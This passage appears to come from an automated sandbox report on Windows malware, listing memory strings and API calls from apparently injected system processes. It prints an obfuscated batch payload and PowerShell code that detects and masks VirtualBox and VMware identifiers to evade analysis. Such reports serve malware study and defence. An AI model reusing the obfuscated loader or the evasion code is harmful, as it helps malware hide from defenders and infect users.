ogbwzRTppjbEZdTHEwThmhR%L%RDglVXudGQMcNusceJkfhxKANwGDvBdyhpjStFXsUgvOmbgnluOybbJuTGyzrRHeMoUxkAIyL%T%SkabVnMpsrbMFwgFOYNhybdzrbYgIcKLqNjRJtYsLjYAFrhROSvCVrmQhBKToFHpGqwSnoWva%M%uwpdDTZUhsQHiPZAsKhIeefBITpVpDzVaBBVXNEIKZhnRIxAxrVEOMWqqNuJEeFDSUHGoeDEf%F%zYeWSKavOyXIVgnFkEjtUdGtEuWbQmsOqypORtxdtoPGHUXOtbdztllvrKsyNZEBfjrwRzORh%x%gZFnaLJwiHPiTufmTwgaZpuKnAyDBWUnmsnlFhrYJbFrOtlOljXcHQhQEVZznfVlNCWBhUHLf%B%hrXKdVUpKrrZRGvkwGKhSLDgtDmxKGrCmWzzkgBafkCNEmVWBqKnWDnvNQqzIxEdaOMVgVapf%u%JcIiPChIqVuVdFIJdLtQbrHFzNPzaPFqvhmBFnYoiRsBkhWiemcjHzesucJcMHHAqdAVshdQN%T%eIjZgurQHvONvJVdUgCDVCAjRlgHbPWilvCQUsoHrlfmTNUuESybBnRChZiVoKPRyFCagfiBS%=%lKxopeqMcirVHYDaJUkstHwnNokUnzKWiGbheTKeFBIGACYEwgvnqzBEnkAbTvyCyuMbWwWPkgNRZ%.%PMlpGyhewGJexTUtIkjdfigQXHakFckLJFyxpMnXqybNdWzCbwCWEOTGFusYyXytvYvRvweWWmNHg%C%sNaixijAnhVMRSUtpysaIsfAHgFsGZsamAmHrPaPoThQAfDEkCHNuGyaHAArDRUoOUzrFmczyDLOk%%oaCDbidrFGFbmZRoJmxYTcGFmYXAioRUJQtAYNBJQWjoTptmkkPqoPqmtWrckDjqOKrvGrqVKOiWS%o%sMWFLpXyAGTzhgcwzymNTzjYXGTUUGAHutbkuwzomRnexVykoykpVjYSCXHevdEUgmfNeSccZYAbm%m%fAchIGvvkLlvjHwPuSjmsXlQKgwwhpXIXGxxFWMxizVATsVkFnFfrOTholxCjZnVOCxCjZjxgLeTb%%LWsklQUKSqiMpjuzknilaLrUsaGdhZFKZgCoesYitlWmpQTPPXWyVIbZFxRkkQCTLyMjGfuRoaRPP%p%fFCgQojdgPreCIHAOYDIdBRdKjKDekVQlkARpduCsPEIuedwNrAbohLEOywHDGZWTBSsiPlKDbpnW%r%iIFfnPMJTCeyWdQGMYMQHPTmLoXgQxnRyHFPRBqQmmaZOTlLudRdDwptPtuZSGTvpnapybPlHVEuP%%UyRclMMGjobrmaygqYGtEJASWntoFvIRUDUVDXGUhOfZYXlarfrWYbkkXYfXsybOFkxIgDDtrMlPE%e%BUZcsXAdLTStJXESJBINqtOACUNBYFmPvGwegVZBBKUqEpwFZAIkDcohgyAyjYfgHcXdBAMOBhmFz%*%yVmxhCxWbmtroYHvBsCENJBrseyOUJvPIIICnbbwIjFQELnCesaPJaLOuUeddIcsRDJFqehAqgWEd%s%LMHQWJBIGgHXTisWXsZgnYbcHmalAyDegLJhxnhYBJkxcIxVPDsNXxPMLEiKIqihCDQhykyKlaFDN%s%EaZPfvWgQhIWWwTewqlBdUyRpwFfHCWSlYgEjVDUlbMwhkCNFGOKucKKBhzIQRynkQKYqoUBMqpci%"
Source: lsass.exe, 00000010.00000000.1416813718.0000017D2CE91000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicvssNT SERVICE
Source: Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx.36.dr	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1a8
Source: Microsoft-Windows-Partition%4Diagnostic.evtx.36.dr	Binary or memory string: VMwareVirtual disk2.06000c2942fce4d06663969f532e45d1aPCI Slot 32 : Bus 2 : Device 0 : Function 0 : Adapter 0 : Port 0 : Target 0 : LUN 0PCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218e0f40&0&00
Source: cmd.exe, 00000016.00000003.1484014593.000001B68B78C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000016.00000003.1484369314.000001B68B78C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000016.00000003.1482211032.000001B68B78C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000016.00000003.1487300764.000001B68B78C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000016.00000003.1486881918.000001B68B78C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000016.00000003.1484505880.000001B68B78C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000016.00000003.1483753694.000001B68B78C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000016.00000003.1485499049.000001B68B78C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000016.00000003.1462971364.000001B68B78C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000016.00000003.1483317075.000001B68B78C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000016.00000003.1482696640.000001B68B78C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /i /c:"QEMU HARDDISK" /c:"WDS100T2B0A" /c:"DADY HARDDISK"
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.36.dr	Binary or memory string: storahciNECVMWarVMware SATA CD00
Source: dwm.exe, 00000012.00000002.3415712940.00000262ED7EF000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Bus\0000SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000PCI\VEN_8
Source: lsass.exe, 00000010.00000002.3348263059.0000017D2CE13000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416730879.0000017D2CE13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000000.1419270994.0000022F4AC13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.3333488909.0000022F4AC13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001C.00000000.1506765871.000001EF0502F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001C.00000002.3339558225.000001EF0502B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001D.00000000.1513638479.000002287A040000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001D.00000002.3348737864.000002287A040000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.3339816682.000001B94D436000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001E.00000000.1520537730.000001B94D436000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000024.00000002.3343779127.000002A769A2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: lsass.exe, 00000010.00000000.1416813718.0000017D2CE91000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicshutdownNT SERVICE
Source: Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx.36.dr	Binary or memory string: JVMwareVirtual disk6000c298128b8c02a71a2474aeb5f3dc@
Source: Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx.36.dr	Binary or memory string: JVMwareVirtual disk6000c298128b8c02a71a2474aeb5f3dc8
Source: powershell.exe, 00000023.00000002.3376787099.000002131465E000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: !fsVzlMERNFVIOdMffLMuDnFTWkHILViMKSPrCtIRFTzMgrMSQxGMewASN! "N%fRgNnfhhsCkdxTDuXhKOLLUpnBHbIUjwQkGknBUEJgFaDqGMKRIwIx%P%wuWQzMygyytOmnmshwnfeEfUMXUUqRmMNtOmnwbhgDIhGPdtArKljC%c%tRoceCRDPGlGaTyafKvfZBWYnWTBuZhaCkZWYlsyqDNbVaPkUzlZQe%s%DSUpOiIqjQzldQTBcTsWOvNVdnhJGUNhjxGhcIwkPatXBJWYqtxrHU%M%qheYlAaZJocrbFjMztxhgOcQttrisnxvAphyddwVjQqfUkIqPETeUz%b%NCfnESjSHwRGRLyKJvWBYqxXVjLatNttBaBFtPyEMriUnotWSeVyht%t%BxeirvhizTcyfRjSrTWsOGhCJHQOioSVlhyeAkxdxDSpSPiBMZNbBP%o%EUpCzKFsZkbhmYsfrgwTUlOSKTyocjBQtwCDPYLMyeDHnKCkiHHGFI%h%UtgwRFmqqQJkOPvPptuJvQHgEarnfuCUkKCjwshgAhONYdVNPtrolW%K%ndMZRRoYkVoOadmmsXloinbTiBeDyMdnIoxyxxBqSCXTzkcSACaucX%R%OacSRqNKAySafMGOPVwVwFpiuXyldVLJkLzxwEFlDhcybzeqmMNfYh%n%AiKUyTRBGFNiPumirkplsoDRgVTiZrhFKdkrMBgMtbBxLSJJeduDQN%Y%OlFSNCaIBoxhyLjVwPdDRqNggoljeWXEPXpZLTODLKAmZDuXAiHEzn%D%WyyyMyrQEFqSsAwkjCbzRgQAhCUoJVotfCbRAnhpmUgUWgkTAqYeCZ%O%vQHYrjEchJqXNQzFJWvLnWZVEasaNsWjQggljCVXLkMxDYsuuVGcJQ%t%MyQLtqRDpOMggHKnwhayacjCsFHXFSMTAauHvxiFfhVYKwRLKhyzcl%e%PJontOJTXwcSGgncSYYvtThlSVOVnytnRpkLsheuVljyVRQLyHoAAH%G%SWBdvxZNFzcPbrWBJKUDzhJJqafdxGjTMjwnkpMGuiFKvgQyOWYEGW%n%iKmRNusWpZpjcSUIrtXnjrCZnjkGoAHFnPbMbsCsnxSFumdXDfEEHs%l%NQhmEDkMIPrKWnRiHZRFaLzXFbgmciWdYUbkEOOYiBPdnKqPgvyFMb%F%scrkHCwXJzSoMblGDTlSxyVwJUKqgGKqqWCZTuglBkRpkZYpEASEuU%E%ETgVAMSgQcPBXPzlNjNZqmGGlKWvLGOfWwrITXTttvtOzIbiPsMIRu%t%DsnzJPQwuknKFByQsPptGVSRgDJOFsTgnCSYvtodDWajAPdzKZaWty%l%NIAvtfgcQbrhwcIzvYBmQJUIqqAjeGsWMPPkyZaiXAgZRttbRkDcvh%=o%dNRecFWYkJuuGmxbvXtopDVRXXzsTdpBFhLwGVYCaCWpxYNOtjhebSrzSagfgEehuTPyB%+%buAZRoNHGtZjLYJVkzNPlEGOTvvxOVDjonsPGfkDESmGhVvGvljubIpwOMgvSpSKQQVxF%4%UofojltsZHXaPcDLjhFXWaUZPLpZBQqZXaAWefRxVeOeiudnpYGIpAJUugyyVuRjqXcOB%Q%GHdqicRlPQuHbJCjHKxqGCYHsBAnFNksoLIrDsgxRIEpeRTKoZJnFxVeJwXGCEFbFcsqb%=%lGpDazYYIDBHPYGeXNRQEHgvzUmcCJbzDJdtuJEYXfbTvZMGZXIpBAwDzTdfmVvYBcefU%=%nKoiTTyGnZAhGcFbMXdnATAFzLbJcstVHMMmugHGXXmUDXGSQXPeaRuukIJhRPDVGFATq%'%sHFqwqCGGcBeiTfCoUPrscLxAPitrnYwMCypjOEBRNDGhcJVysrKLCYpViPHhjoseesGu%)%PtAqnAEyfpxgmUZWnLkEitaYXtIzlCcKcBJYQuxbtQQTrAVoovQthclvtBtUSfnDmNdLl%;%bgToikrDhGwytkQLJCapnFoaDjoDnGExkdnpWeZRTSlUXvzVxRCldvYwRTKYWOqAcYnpX%%APEDivvttdhKtgvdtuPfRydtaVfBLSYijYWcXHUZCcxPDoDHUwJEykfcLkDnqTIBeYBvk%$%tgLzPCObnQLryHoiuJYSUqMeHJJuVLEMixAqXeJIrbyuRVRlutKpDCpdtHSfStfClZjbg%b%XkpapATSsmLRxaCbpjFhxXqmDQXVWiSMQfwivoocwlavhnutDAWPETJZUcwzCYWjtZbsE%q%tFaVCLmWUfpvErvmciXvwnsROAypRchmbPjUVUbixcZXhdXGAWqReXhgnjgcnWfSXduPi%y%ArigPYtouKLCSOULqieHdHMOYVAXgZdJixaFiKoZNRSyuAvilhHVphfSEthUxwhvHbuuN%"
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.36.dr	Binary or memory string: nonicVMware Virtual disk 6000c2942fce4d06663969f532e45d1a
Source: svchost.exe, 00000024.00000002.3413741329.000002A76AF8C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: $value = $pr.Value.replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("VMware", $value).replace("VirtualBox", $value).replace("Oracle Corporation", $value).replace("Microsoft Basic Display Adapter", $value)
Source: svchost.exe, 0000002A.00000002.3341685727.000002517802B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTVMWare
Source: svchost.exe, 0000002E.00000000.1607134927.00000297A5600000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: lsass.exe, 00000010.00000000.1416813718.0000017D2CE91000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicheartbeatNT SERVICE
Source: $rbx-CO2.bat.19.dr	Binary or memory string: !fsVzlMERNFVIOdMffLMuDnFTWkHILViMKSPrCtIRFTzMgrMSQxGMewASN! "N%fRgNnfhhsCkdxTDuXhKOLLUpnBHbIUjwQkGknBUEJgFaDqGMKRIwIx%P%wuWQzMygyytOmnmshwnfeEfUMXUUqRmMNtOmnwbhgDIhGPdtArKljC%c%tRoceCRDPGlGaTyafKvfZBWYnWTBuZhaCkZWYlsyqDNbVaPkUzlZQe%s%DSUpOiIqjQzldQTBcTsWOvNVdnhJGUNhjxGhcIwkPatXBJWYqtxrHU%M%qheYlAaZJocrbFjMztxhgOcQttrisnxvAphyddwVjQqfUkIqPETeUz%b%NCfnESjSHwRGRLyKJvWBYqxXVjLatNttBaBFtPyEMriUnotWSeVyht%t%BxeirvhizTcyfRjSrTWsOGhCJHQOioSVlhyeAkxdxDSpSPiBMZNbBP%o%EUpCzKFsZkbhmYsfrgwTUlOSKTyocjBQtwCDPYLMyeDHnKCkiHHGFI%h%UtgwRFmqqQJkOPvPptuJvQHgEarnfuCUkKCjwshgAhONYdVNPtrolW%K%ndMZRRoYkVoOadmmsXloinbTiBeDyMdnIoxyxxBqSCXTzkcSACaucX%R%OacSRqNKAySafMGOPVwVwFpiuXyldVLJkLzxwEFlDhcybzeqmMNfYh%n%AiKUyTRBGFNiPumirkplsoDRgVTiZrhFKdkrMBgMtbBxLSJJeduDQN%Y%OlFSNCaIBoxhyLjVwPdDRqNggoljeWXEPXpZLTODLKAmZDuXAiHEzn%D%WyyyMyrQEFqSsAwkjCbzRgQAhCUoJVotfCbRAnhpmUgUWgkTAqYeCZ%O%vQHYrjEchJqXNQzFJWvLnWZVEasaNsWjQggljCVXLkMxDYsuuVGcJQ%t%MyQLtqRDpOMggHKnwhayacjCsFHXFSMTAauHvxiFfhVYKwRLKhyzcl%e%PJontOJTXwcSGgncSYYvtThlSVOVnytnRpkLsheuVljyVRQLyHoAAH%G%SWBdvxZNFzcPbrWBJKUDzhJJqafdxGjTMjwnkpMGuiFKvgQyOWYEGW%n%iKmRNusWpZpjcSUIrtXnjrCZnjkGoAHFnPbMbsCsnxSFumdXDfEEHs%l%NQhmEDkMIPrKWnRiHZRFaLzXFbgmciWdYUbkEOOYiBPdnKqPgvyFMb%F%scrkHCwXJzSoMblGDTlSxyVwJUKqgGKqqWCZTuglBkRpkZYpEASEuU%E%ETgVAMSgQcPBXPzlNjNZqmGGlKWvLGOfWwrITXTttvtOzIbiPsMIRu%t%DsnzJPQwuknKFByQsPptGVSRgDJOFsTgnCSYvtodDWajAPdzKZaWty%l%NIAvtfgcQbrhwcIzvYBmQJUIqqAjeGsWMPPkyZaiXAgZRttbRkDcvh%=o%dNRecFWYkJuuGmxbvXtopDVRXXzsTdpBFhLwGVYCaCWpxYNOtjhebSrzSagfgEehuTPyB%+%buAZRoNHGtZjLYJVkzNPlEGOTvvxOVDjonsPGfkDESmGhVvGvljubIpwOMgvSpSKQQVxF%4%UofojltsZHXaPcDLjhFXWaUZPLpZBQqZXaAWefRxVeOeiudnpYGIpAJUugyyVuRjqXcOB%Q%GHdqicRlPQuHbJCjHKxqGCYHsBAnFNksoLIrDsgxRIEpeRTKoZJnFxVeJwXGCEFbFcsqb%=%lGpDazYYIDBHPYGeXNRQEHgvzUmcCJbzDJdtuJEYXfbTvZMGZXIpBAwDzTdfmVvYBcefU%=%nKoiTTyGnZAhGcFbMXdnATAFzLbJcstVHMMmugHGXXmUDXGSQXPeaRuukIJhRPDVGFATq%'%sHFqwqCGGcBeiTfCoUPrscLxAPitrnYwMCypjOEBRNDGhcJVysrKLCYpViPHhjoseesGu%)%PtAqnAEyfpxgmUZWnLkEitaYXtIzlCcKcBJYQuxbtQQTrAVoovQthclvtBtUSfnDmNdLl%;%bgToikrDhGwytkQLJCapnFoaDjoDnGExkdnpWeZRTSlUXvzVxRCldvYwRTKYWOqAcYnpX%%APEDivvttdhKtgvdtuPfRydtaVfBLSYijYWcXHUZCcxPDoDHUwJEykfcLkDnqTIBeYBvk%$%tgLzPCObnQLryHoiuJYSUqMeHJJuVLEMixAqXeJIrbyuRVRlutKpDCpdtHSfStfClZjbg%b%XkpapATSsmLRxaCbpjFhxXqmDQXVWiSMQfwivoocwlavhnutDAWPETJZUcwzCYWjtZbsE%q%tFaVCLmWUfpvErvmciXvwnsROAypRchmbPjUVUbixcZXhdXGAWqReXhgnjgcnWfSXduPi%y%ArigPYtouKLCSOULqieHdHMOYVAXgZdJixaFiKoZNRSyuAvilhHVphfSEthUxwhvHbuuN%"
Source: svchost.exe, 00000011.00000002.3333488909.0000022F4AC13000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000@3
Source: svchost.exe, 0000001A.00000000.1476993256.000002234AE79000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlltion1301
Source: svchost.exe, 00000024.00000002.3413741329.000002A76AF8C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: if(($pr.Name -eq "DeviceId" -or $pr.Name -eq "Caption" -or $pr.Name -eq "Model" -or $pr.Name -eq "PNPDeviceID") -and ($pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VMware'))
Source: dwm.exe, 00000012.00000002.3415712940.00000262ED7EF000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000

Source: C:\Windows\System32\dllhost.exe	API call chain: ExitProcess graph end node			graph_14-616
Source: C:\Windows\System32\dllhost.exe	API call chain: ExitProcess graph end node			graph_14-702

Source: C:\Windows\System32\wbem\WMIC.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\winlogon.exe

Code function: 15_2_000001CA7D1E84B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

15_2_000001CA7D1E84B0

Source: C:\Windows\System32\winlogon.exe

Code function: 15_2_000001CA7D1E1E3C LoadLibraryA,GetProcAddress,SleepEx,

15_2_000001CA7D1E1E3C

Source: C:\Windows\System32\dllhost.exe

Code function: 14_2_0000000140001CF0 GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,K32EnumProcesses,OpenProcess,K32EnumProcessModulesEx,ReadProcessMemory,CloseHandle,GetProcessHeap,HeapFree,GetProcessHeap,RtlFreeHeap,

14_2_0000000140001CF0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug

Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D1E84B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_000001CA7D1E84B0
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D1ECD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_000001CA7D1ECD80
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D1E8814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_000001CA7D1E8814
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D2184B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_000001CA7D2184B0
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D21CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_000001CA7D21CD80
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D218814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_000001CA7D218814
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D2984B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_000001CA7D2984B0
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D29CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_000001CA7D29CD80
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D298814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_000001CA7D298814
Source: C:\Windows\System32\lsass.exe	Code function: 16_2_0000017D2DD5CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_0000017D2DD5CD80
Source: C:\Windows\System32\lsass.exe	Code function: 16_2_0000017D2DD584B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_0000017D2DD584B0
Source: C:\Windows\System32\lsass.exe	Code function: 16_2_0000017D2DD58814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_0000017D2DD58814
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_0000022F4B928814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	17_2_0000022F4B928814
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_0000022F4B92CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_0000022F4B92CD80
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_0000022F4B9284B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_0000022F4B9284B0
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1CA8814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	18_2_00000262F1CA8814
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1CACD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_00000262F1CACD80
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1CA84B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_00000262F1CA84B0
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1D08814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	18_2_00000262F1D08814
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1D0CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_00000262F1D0CD80
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1D084B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_00000262F1D084B0
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1D38814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	18_2_00000262F1D38814
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1D3CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_00000262F1D3CD80
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1D384B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_00000262F1D384B0
Source: C:\Windows\System32\cmd.exe	Code function: 22_2_000001B68BD2CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_000001B68BD2CD80
Source: C:\Windows\System32\cmd.exe	Code function: 22_2_000001B68BD284B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_000001B68BD284B0
Source: C:\Windows\System32\cmd.exe	Code function: 22_2_000001B68BD28814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	22_2_000001B68BD28814
Source: C:\Windows\System32\cmd.exe	Code function: 22_2_000001B68BD5CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_000001B68BD5CD80
Source: C:\Windows\System32\cmd.exe	Code function: 22_2_000001B68BD584B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_000001B68BD584B0
Source: C:\Windows\System32\cmd.exe	Code function: 22_2_000001B68BD58814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	22_2_000001B68BD58814
Source: C:\Windows\System32\conhost.exe	Code function: 23_2_000001E591CCCD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_000001E591CCCD80
Source: C:\Windows\System32\conhost.exe	Code function: 23_2_000001E591CC84B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_000001E591CC84B0
Source: C:\Windows\System32\conhost.exe	Code function: 23_2_000001E591CC8814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	23_2_000001E591CC8814
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000002234E138814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	26_2_000002234E138814
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000002234E1384B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	26_2_000002234E1384B0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000002234E13CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	26_2_000002234E13CD80
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000002234E168814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	26_2_000002234E168814
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000002234E1684B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	26_2_000002234E1684B0
